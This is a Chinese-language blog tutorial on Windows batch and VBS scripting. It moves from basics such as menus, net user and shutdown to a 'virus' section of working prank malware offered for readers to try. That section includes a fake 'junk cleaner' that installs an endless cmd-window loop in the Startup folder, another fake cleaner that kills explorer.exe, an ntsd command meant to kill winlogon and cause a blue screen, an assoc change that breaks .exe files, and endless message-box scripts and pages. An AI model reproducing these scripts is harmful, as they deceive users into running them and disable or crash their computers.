初识批处理 · 如何批处理: 命名:.bat 方法:创建一个记事本文件,然后将其扩展改为.bat · 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。 · 运行环境:当然是我们cmd了 回归我学过的任何一门语言都是从一个简单的**程序开始的,批处理也同样如此 一个简单的批处理程序 1、引入 1. d: 2. cd\ 3. cd temp 4. del ,/s/q 我们把几条dos命令汇聚在一起,这就进入了批处理的范畴 2、echo 输出 2. color 0a 3. title 飞哥小程序v1.0 4. 5. echo========================== 6. echo 菜单 7. echo 1、修改管理员密码 8. echo 2、定时关机 9. echo 3、退出本程序 10. echo=========================== 11. 12. pause 看不懂?先不急,我们先来看一下运行效果: @echo off #关闭回显 color 0a #设置窗口显示颜色 1. color: 2. 指定控制台输出的颜色属性 3. 颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为文字颜色。 4. 每个数字可以为以下任何值之一: 5. 0 = 黑色 8 = 灰色 6. 1 = 蓝色 9 = 淡蓝色 7. 2 = 绿色 A = 淡绿色 8. 3 = 湖蓝色 B = 淡浅绿色 9. 4 = 红色 C = 淡红色 10. 5 = 紫色 D = 淡紫色 11. 6 = 黄色 E = 淡黄色 12. 7 = 白色 F = 亮白色 13. 例如: "cilor fc" 亮白色背景,淡红色文字颜色。 title #设置程序名 例如:title 飞哥小程序v1.0 pause #暂停屏幕(没有这条语句,我们是看不到上图的显示效果的,程序只会一闪而过) 3、变量 1. @echo off 2. color 0a 3. title 飞哥小程序v1.0 4. 5. echo========================== 6. echo 菜单 7. echo 1、修改管理员密码 8. echo 2、定时关机 9. echo 3、退出本程序 10. echo =========================== 11. 12. set /p u=请输入用户名: 13. set /p p=请输入新密码: 14. net user %u% %p% >nul 15. 16. 17. pause 同样我们先来看下效果: set/p u= ( 字符串 ) #获取输入的字符,将其赋值给变量u %u% #提取变量u的值 netuser 用户名 密码 #修改账户密码(windows所有平台支持) >nul #清除一条命令执行后系统反馈 再来看一下效果: 后面的“命令成功完成”就不见了! 4、if、goto 1. @echo off 2. color 0a 3. title 飞哥小程序v1.0 4. 5. :menu 6. cls 7. echo========================== 8. echo 菜单 9. echo 1、修改管理员密码 10. echo 2、定时关机 11. echo 3、退出本程序 12. echo=========================== 13. 14. set /p num=您的选择是: 15. if"%num%"=="1" goto 1 16. if"%num%"=="2" goto 2 17. if"%num%"=="3" goto 3 18. echo 被闹,好好输! 19. pause 20. goto menu 21. 22. :1 23. set /p u=请输入用户名: 24. set /p p=请输入新密码: 25. net user %u% %p% >nul 26. echo 您的密码已经设置成功! 27. pause 28. goto menu 29. 30. :2 31. set /p time=请输入时间: 32. shutdown -s -t %time% 33. set /p x=是否取消(1:是,0:否): 34. if"%x%"=="1" shutdown -a 35. goto menu 36. pause 37. 38. :3 39. exit 分区块 :menu "menu"区块 :1 “1”区块 :2 “2”区块 :3 "3"区块 goto区块名 #程序跳该区块 例如:goto menu #程序跳至“menu区块” if"%num%"=="1" 命令1 #如果条件成立,执行命令1;条件不成立,跳过命令1,向下走 cls #清屏 shutdown-s -t 100 #定时关机 1. 常用shutdown命令: 2. shutdown -a #取消关机 3. shutdown -s #关机 4. shutdown -f #强行关闭应用程序 5. shutdown -l #注销当前用户 6. shutdown -r #关机并重启 7. shutdown -s -t 时间 #定时关机 8. shutdown -h #休眠 9. 更多的 cmd: 10. shutdown ? 11. 查看 好了,通过我们以上所学的命令,这样一个简单的批处理程序就写完了。 病毒 测试环境:虚拟机win2003 注:一些简单的病毒程序请勿在真实机中测试 简单的批处理文件一 功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口 1. @echo off 2. title 系统垃圾清理 3. color 2f 4. echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】======== 5. echo. 6. echo. 7. echo:start>c:\windows\windows.bat 8. echo startcmd>>c:\windows\windows.bat 9. echo gotostart>>c:\windows\windows.bat 10. copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\">nul 11. if %errorlevel%==0 goto next 12. copy c:\windows\windows.bat"%USERPROFILE%\「开始」菜单\程序\启动" >nul 13. if %errorlevel%==1 goto error 14. :next 15. echo. 16. echo. 17. echo ====== 垃圾清理中,请不要关闭窗口====== 18. echo. 19. ping -n 5 127.0.0.1 >nul 20. echo. 21. echo ====== 垃圾清理完毕,共清理垃圾500M=== 22. echo. 23. echo. 24. echo ====== 建议立即重启电脑 25. pause 26. goto ex 27. 28. :error 29. echo. 30. echo. 31. echo ====== 程序运行失败,请使用【管理员权限】重新运行!====== 32. echo. 33. pause 34. goto ex 35. 36. :ex 37. exit echo. #输出一个空 注:系统启动菜单位置这里是winxp和win2003的位置,至于win后续系统或其他系统,去问万能的度娘 我们来看一下运行效果: 运行完成后我们可以看到在开始启动项中多了一个windows.bat文件。 重启之后,电脑完全死机了。 简单的批处理文件二 功能:伪装垃圾清理程序强制终止桌面进程 1. @echo off 2. title 系统垃圾清理 3. color 2f 4. echo ====== 若有杀毒软件恶意拦截,请选择【允许程序的所有操作】===== 5. echo. 6. echo. 7. 8. :next 9. echo. 10. echo. 11. echo ====== 垃圾清理中,请不要关闭窗口======= 12. echo. 13. ping -n 5 127.0.0.1 >nul 14. taskkill /im explorer.exe /f>nul 2>nul 15. echo. 16. echo. ===== 完了,你系统废了====== 17. ping -n 5 127.0.0.1>nul 18. echo. 19. start c:\windows\explorer.exe 20. echo. 21. echo ====== 已经修复好了!是不是吓坏了!!嘿嘿========= 22. pause >nul2>nul 消息全部屏蔽 桌面进程被杀死! 桌面进程恢复: 最简单的蓝屏炸弹文件 ntsd -c q -pn winlogon.ex 分析: ntsd #杀死进程 ntsd-c q -pn 进程名 #强制杀死进程 蓝屏原因:winlogon 进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏! 对win2003有很大的杀伤力,但对win2008基本没有杀伤力 最简单的病毒 assoc.exe=txtfile 分析: 修改文件关联,导致文件无法正常打开 测试效果: 最简单的病毒解药 assoc.exe=exefile 只需将文件后缀与其关联文对应即可 最简单的脚本 方法:将.txt改为.vbs msgbox "我最帅!" 测试效果: 最简单的死循环脚本 1. do 2. msgbox "我最帅!" 3. loop 测试: 效果:窗口无法关闭 解决方法: vbs使用微软自带的wscript.exe来编写的 一个有趣的小脚本,大家可以试试 1. do 2. msgbox "飞哥最帅!" 3. msgbox "小子,你对这件事有异议吗" 4. msgbox "你要为此付出代价" 5. msgbox "从现在开始我要求你点100下鼠标" 6. msgbox "100" 7. msgbox "99" 8. msgbox "98" 9. msgbox "97" 10. msgbox "96" 11. msgbox "95" 12. msgbox "94" 13. msgbox "93" 14. msgbox "92" 15. msgbox "91" 16. msgbox "90" 17. msgbox "...." 18. msgbox "3" 19. msgbox "2" 20. msgbox "1" 21. msgbox "如果你看到这里,说明你确实很执着,你感动了我,请再点一下" 22. msgbox "年轻人,有时候执着也没用,换个姿势再来一次" 23. loop 注:可以用修改图标软件修改vbs文件图标 整人网页 1. <!DOCTYPE html> 2. <html> 3. <head> 4. <meta charset="utf-8"> 5. <meta http-equiv="X-UA-Compatible"content="IE=edge"> 6. <title>很恶心的常见整人效果的代码</title> 7. <link rel="stylesheet"href=""> 8. </head> 9. <body> 10. <a href=""font-size:10.5pt;mso-ascii-font-family:"Droid Sans Mono";mso-hansi-font-family:"Droid Sans Mono";color:black">飞哥真帅'); 11. alert('飞哥真帅'); 12. alert('飞哥是真帅'); 13. alert('飞哥是真帅'); 14. alert('飞哥是真的帅'); 15. alert('同意不!'); 16. alert('不同意?'); 17. alert('去死吧'); 18. ">不许把鼠标移到这里!</a>点了真爽!!! 19. </body> 20. </html> 测试效果: [url=]下载视频[/url] |